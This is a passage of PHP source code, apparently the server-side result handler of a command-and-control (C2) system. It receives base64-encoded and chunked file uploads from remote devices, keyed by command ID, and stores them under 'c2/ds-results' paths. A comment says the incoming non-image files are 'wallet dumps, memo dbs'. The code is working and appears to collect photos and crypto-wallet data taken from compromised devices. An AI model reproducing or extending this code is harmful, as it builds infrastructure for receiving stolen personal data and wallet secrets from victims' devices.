*/ private const VIDEO_EXT = ['mp4', 'mov', 'm4v', 'avi', 'mkv', 'webm', '3gp', 'qt']; /** @var list */ private const IMAGE_EXT = ['png', 'jpg', 'jpeg', 'heic', 'heif', 'gif', 'webp', 'bmp', 'tif', 'tiff']; private const MAX_CHUNKS = 512; private const MAX_ASSEMBLED_BYTES = 80 * 1024 * 1024; public function __construct( private readonly IngestService $ingest, ) {} /** * Persist one /result body. Videos are dropped. Chunks assemble under * c2/ds-chunks then land in c2/ds-results. Images also go through album ingest. * * @param array $payload * @return array */ public function store(Device $device, array $payload): array { $filename = $this->safeName((string) ($payload['filename'] ?? '')); if ($filename === '') { return ['stored' => false, 'reason' => 'no_filename']; } if ($this->isVideo($filename)) { return ['stored' => false, 'reason' => 'video_skipped', 'filename' => $filename]; } // Images are only persisted when album storage is enabled. When it's // off, drop them entirely — no ds-results file, no .seen marker, no // photos table row — so the device's disk footprint stays minimal. if ($this->isImage($filename) && ! $device->albumStorageEnabled()) { return ['stored' => false, 'reason' => 'image_skipped_album_off', 'filename' => $filename]; } $raw = $payload['data'] ?? null; if (! is_string($raw) || $raw === '') { return ['stored' => false, 'reason' => 'no_data', 'filename' => $filename]; } $bytes = base64_decode($raw, true); if ($bytes === false) { return ['stored' => false, 'reason' => 'bad_base64', 'filename' => $filename]; } $commandId = $this->safeName((string) ($payload['command_id'] ?? 'unknown')) ?: 'unknown'; $total = isset($payload['total_chunks']) ? (int) $payload['total_chunks'] : 0; $index = array_key_exists('chunk_index', $payload) ? (int) $payload['chunk_index'] : null; if ($total > 1 && $index !== null) { if ($total > self::MAX_CHUNKS || $index < 0 || $index >= $total) { return ['stored' => false, 'reason' => 'bad_chunks', 'filename' => $filename]; } $assembledPath = $this->acceptChunk($device, $commandId, $filename, $index, $total, $bytes); if ($assembledPath === null) { return [ 'stored' => false, 'reason' => 'chunk_pending', 'filename' => $filename, 'chunk_index' => $index, 'total_chunks' => $total, ]; } if ($assembledPath === false) { return ['stored' => false, 'reason' => 'too_large', 'filename' => $filename]; } try { return $this->persistFile($device, $filename, $commandId, $assembledPath); } finally { @unlink($assembledPath); } } return $this->persistBytes($device, $filename, $commandId, $bytes); } /** * @return array */ private function persistBytes(Device $device, string $filename, string $commandId, string $bytes): array { $tmp = tempnam(sys_get_temp_dir(), 'ds_photo_'); if ($tmp === false) { return ['stored' => false, 'reason' => 'tmp_failed', 'filename' => $filename]; } file_put_contents($tmp, $bytes); try { return $this->persistFile($device, $filename, $commandId, $tmp); } finally { @unlink($tmp); } } /** * @return array */ private function persistFile(Device $device, string $filename, string $commandId, string $absPath): array { $hash = hash_file('sha256', $absPath) ?: ''; $size = (int) filesize($absPath); if ($this->alreadyIngested($device, $filename, $hash)) { return [ 'stored' => false, 'reason' => 'duplicate', 'filename' => $filename, 'size' => $size, ]; } $rel = 'c2/ds-results/'.$device->device_id.'/'.$commandId.'/'.$filename; $stream = fopen($absPath, 'rb'); if ($stream === false) { return ['stored' => false, 'reason' => 'read_failed', 'filename' => $filename]; } Storage::disk('local')->put($rel, $stream); if (is_resource($stream)) { fclose($stream); } $this->markSeen($device, $hash, $filename); $photo = false; if ($this->isImage($filename) && $device->albumStorageEnabled()) { $this->ingest->ingestPhotos($device, [$absPath]); $photo = true; } return [ 'stored' => true, 'path' => $rel, 'photo' => $photo, 'size' => $size, 'filename' => $filename, ]; } private function alreadyIngested(Device $device, string $filename, string $hash): bool { $isImage = $this->isImage($filename); $seen = Storage::disk('local')->exists($this->seenPath($device, $hash)); if (! $isImage) { // Non-images (wallet dumps, memo dbs, …): .seen is the only dedup. return $seen; } // Images reach here only when album storage is enabled (store() drops // images entirely when album is off). The Photo table is the source of // truth for album dedup. markSeen() runs before ingestPhotos(), so a // bare .seen marker can survive a failed/skipped album ingest (the // device record was recreated, an exception was swallowed, …) and // would otherwise block the photo from ever entering the album. When // a Photo row exists we treat it as a duplicate; otherwise we retry // the ingest by returning false so store() re-stores + calls // ingestPhotos. $hasPhoto = Photo::query() ->where('device_id', $device->id) ->where('sha256', $hash) ->exists(); if ($hasPhoto) { if (! $seen) { $this->markSeen($device, $hash, $filename); } return true; } return false; } private function markSeen(Device $device, string $hash, string $filename): void { Storage::disk('local')->put($this->seenPath($device, $hash), $filename); } private function seenPath(Device $device, string $hash): string { return 'c2/ds-results/'.$device->device_id.'/.seen/'.$hash; } /** * Stream chunks to a temp file. null = still waiting, false = over size / I/O fail. */ private function acceptChunk( Device $device, string $commandId, string $filename, int $index, int $total, string $bytes, ): string|false|null { $dir = 'c2/ds-chunks/'.$device->device_id.'/'.$commandId.'/'.$filename; Storage::disk('local')->put($dir.'/'.$index, $bytes); Storage::disk('local')->put($dir.'/total', (string) $total); for ($i = 0; $i < $total; $i++) { if (! Storage::disk('local')->exists($dir.'/'.$i)) { return null; } } $tmp = tempnam(sys_get_temp_dir(), 'ds_asm_'); if ($tmp === false) { Storage::disk('local')->deleteDirectory($dir); return false; } $fh = fopen($tmp, 'wb'); if ($fh === false) { @unlink($tmp); Storage::disk('local')->deleteDirectory($dir); return false; } $written = 0; for ($i = 0; $i < $total; $i++) { $chunk = (string) Storage::disk('local')->get($dir.'/'.$i); $len = strlen($chunk); if ($written + $len > self::MAX_ASSEMBLED_BYTES) { unset($chunk); fclose($fh); @unlink($tmp); Storage::disk('local')->deleteDirectory($dir); Log::warning('ds result assembled too large', [ 'device_id' => $device->device_id, 'filename' => $filename, 'total_chunks' => $total, ]); return false; } fwrite($fh, $chunk); $written += $len; unset($chunk); } fclose($fh); Storage::disk('local')->deleteDirectory($dir); return $tmp; } private function isVideo(string $filename): bool { return in_array($this->extension($filename), self::VIDEO_EXT, true); } private function isImage(string $filename): bool { return in_array($this->extension($filename), self::IMAGE_EXT, true); } private function extension(string $filename): string { $dot = strrpos($filename, '.'); if ($dot === false) { return ''; } return strtolower(substr($filename, $dot + 1)); } private function safeName(string $name): string { $name = str_replace(["\0", '\\'], '', $name); $name = basename(str_replace(['/', '\\'], '', $name)); $name = preg_replace('/[^A-Za-z0-9._-]/', '_', $name) ?? ''; return $name === '.' || $name === '..' ? '' : $name; } }